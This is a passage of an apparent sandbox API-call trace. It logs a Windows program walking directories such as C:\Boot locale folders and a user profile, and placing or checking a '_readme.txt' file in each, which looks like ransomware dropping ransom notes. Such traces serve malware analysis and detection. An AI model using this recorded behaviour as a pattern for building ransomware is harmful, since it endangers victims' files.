ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.357] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.357] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.357] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.357] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.357] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.357] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.358] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0122.358] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.358] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.358] PathFindFileNameW (pszPath="") returned="" [0122.358] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.358] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.358] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.358] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.358] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0122.358] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0122.359] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.359] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.359] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.359] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.359] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.359] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.360] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.360] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0122.360] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.360] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.360] PathFindFileNameW (pszPath="") returned="" [0122.360] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.360] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.360] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.360] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.360] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0122.360] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0122.361] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.362] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.362] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.362] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ce0d10, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.362] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ce0d10, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.362] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.362] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.362] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0122.362] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.362] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.362] PathFindFileNameW (pszPath="") returned="" [0122.362] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.363] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.363] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.363] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.363] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0122.363] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0122.364] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.364] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.364] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.364] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d06e70, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.364] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d06e70, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.364] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.364] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.364] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.364] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.365] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.365] PathFindFileNameW (pszPath="") returned="" [0122.365] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.365] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.365] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.365] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.365] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0122.365] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0122.366] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14098f70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14098f70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x142ae2b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x144c35f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x144c35f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1468c670, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1468c670, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a475e80, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1a475e80, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1a44fd20, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0122.366] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 